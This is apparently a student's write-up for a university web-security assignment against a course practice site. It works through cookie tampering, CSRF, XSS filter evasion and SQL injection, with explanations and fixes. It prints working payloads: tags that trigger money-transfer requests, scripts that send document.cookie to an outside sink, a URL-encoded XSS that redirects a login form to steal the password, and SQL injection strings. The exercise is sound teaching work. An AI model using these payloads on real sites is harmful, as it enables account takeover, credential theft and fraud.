Alexander Miller
Assignment 4 Writeup
Collaborators: Ryan Li (rli3)

Problem 1:
Flag: **1396402c1ed9911cb86e974c49c83a8a**

Solution: I entered developer mode in firefox, altered the values of 'premium' in storage (under cookies) to True, and reloaded the site. The problem with how the site implemented its premium verification is that it gives clients access to the verification field ('premium'). What the site should do instead is, on the server, check if a user's cookie is designated as a premium member cookie.

Problem 2:
Solution: For my CSRF attack, my page just requests a link as the source of an image; the link, however, is just a request to transfer money from Blase to me. The link does this because the founder (who opens my page) has the ability, once logged in, to arbitrarily transfer money without giving an access token. Therefore I can take Blase's money without needing his access code by using the Founder as the target of my attack.

Problem 3:
Solution: The founder of DCash made the mistake of generating the CSRF token client-side; furthermore, they hard code the secret key that their encryption process relies on into the HTML the page uses. They, therefore, give anyone who visits the page the ability to generate their own valid CSRF tokens. I, therefore, just copied their token protocol to how I generated a post request and waited for them to open my page with their cookie set.
To solve this problem, the Founder could've made the website generate a CSRF token on the server and then sent that token along with the page; that way a user can't forge their own CSRF tokens.

Problem 4:
Message 1: **<iMg src="https://insecurityclass.cs.uchicago.edu/2/transfer.php?amount=123&recipient=amiller68&sender=blase" width=0 height=0>**
Message 2: ***<audio src="https://insecurityclass.cs.uchicago.edu/4/transfer.php?amount=100&recipient=amiller68&sender=blase"></audio>***

Solution: The first message works because the founder is not looking for tags with varied capitalization. The Second message works because the founder is not looking for obscure tags that can request links on load, such as the audio tag. The founder should make all

strings lowercase when they look for malicious XSS and they should look for a wider array of tags.

Problem 5:

Message:

<ScriPt> var name = document.cookie; var xhr = new XMLHttpRequest(); var req = "https://people.cs.uchicago.edu/~amiller68/sink.php?id=fin&data=" + name; xhr.open('GET', req, true); xhr.send(); return true; </ScriPt>

Founder Name: The Scary

Solution: The name of a user is contained within the site's cookie. Therefore, if you can get a script to the founder's message page of the same site that extracts this information and sends it to your sink, you can get the founder's name. You can do this by taking advantage of the capitalization bug in the Founder's message filter and sending them direct JavaScript that does this.

Note: This is the method I used to get 'The Scary.' I know that there is more to the founder's name so I tried feeding them this message:

<ScriPt> var name = document.getElementById("theirname").innerHTML; var xhr = new XMLHttpRequest(); var req = "https://people.cs.uchicago.edu/~amiller68/sink.php?id=fin&data=" + name; xhr.open('GET', req, true); xhr.send(); return true; </ScriPt>

I think this is the correct message because it gets the HTML between the span tags with id='theirname.' However, I can't verify this and I can't get the full answer because, as of right now, the Founder doesn't seem to be opening my messages. Moreover, I know it's not an issue with how I wrote the message because I tested the name extraction on my own machine and I know it's not an issue with the script itself because it worked in getting me 'The Scary.'

Problem 6:

Value 1: **' OR '='**

Value 2: **amiller68'); UPDATE 'dcashaficionados' SET 'dcash' = '100' WHERE 'dcashaficionados'.'person' = 'amiller68**

Solution 1: The query that the website is running probably looks like:

SELECT * FROM students WHERE name = '$input'

Therefore by inputting ‘ OR ‘’=’ you generate a query that looks like:
SELECT * FROM students WHERE name = ’’ OR ‘’=’’;
This says, get all users where either their name is a NULL string or NULL == NULL; this returns true for all users, therefore, it returns a Query of all users. The founder could’ve protected against this attack by sanitizing their input, looking for chars like ‘=.’
Solution 2: My logic for the second input is that it translates to:
SELECT * FROM students WHERE name = 'amiller68'); UPDATE 'dcashaficionados' SET 'dcash' = '100' WHERE 'dcashaficionados'.'person' = 'amiller68’;
Which should say, in the database dcashaficionados, set the value of the ‘dcash’ field to 100 wherever name = ‘amiller68.’ However, this did not work for me.

Problem 7:
Founder’s Password: **ZeroDaysAreMyFavoriteKindsOfDays!**
Message:
https://insecurityclass.cs.uchicago.edu/7/index.php?greeting=%3C%2Fp%3E%20%3CScriPt%3E%20%20%20%20%20document.addEventListener(%22DOMContentLoaded%22%2C%20function()%20%7B%20%20%20%20%20%20%20%20%20%20document.getElementById(%27username%27).value%3D%22blase%26david%22%3B%20%20%20%20%20%20%20%20%20%20document.getElementById(%22thebestformever%22).action%20%3D%20%22https%3A%2F%2Fpeople.cs.uchicago.edu%2F~amiller68%2Fsink.php%22%3B%20%20%20%20%20%7D)%3B%20%3C%2FScriPt%3E%20%3Cp%3E

Solution: The solution worked because the founder accepts any messages willy nilly without filtering them (looking for script tags) and has a page that builds itself with user input. I therevefore constructed a query to their index page that injects a script that autofills their username and changes the action of thier login form to redirect to my sink opun the complete loading of the Document. I also had to URL encode my script so that it translated into the document.
The Founder should not contrust his login page using User Input.

Sources:

digitalocean.com/community/tutorials/how-to-add-javascript-to-html

https://www.kirupa.com/html5/making_http_requests_js.htm

https://www.w3schools.com/tags/ref_urlencode.ASP

https://stackoverflow.com/questions/3890091/how-can-i-update-a-table-using-sql-injection